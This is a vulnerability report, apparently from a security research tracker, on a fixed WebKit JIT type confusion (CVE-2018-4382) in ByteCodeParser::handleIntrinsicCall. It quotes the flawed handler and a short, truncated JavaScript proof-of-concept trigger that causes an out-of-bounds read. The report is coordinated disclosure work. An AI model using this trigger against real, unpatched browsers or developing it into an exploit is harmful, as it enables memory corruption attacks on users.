New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Closed: Nov 15

Sign in to add a comment

Issue 1656: WebKit: JIT: Type confusion bugs in ByteCodeParser::handleIntrinsicCall

Reported by, Sep 5 Project Member

Issue description

case ArrayPushIntrinsic: {

        if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
            return false;

        ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);

This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.

Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.

Array.prototype.__defineGetter__('a', Array.prototype.push);

function opt() {
    let arr = new Array(1, 2, 3, 4);
    arr['a' + ''];

for (let i = 0; i < 1000; i++) {

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

Comment 1 by, Nov 15

Project Member
Status: Fixed (was: New)

Comment 2 by, Nov 29

Project Member
Labels: -Restrict-View-Commit CVE-2018-4382

Sign in to add a comment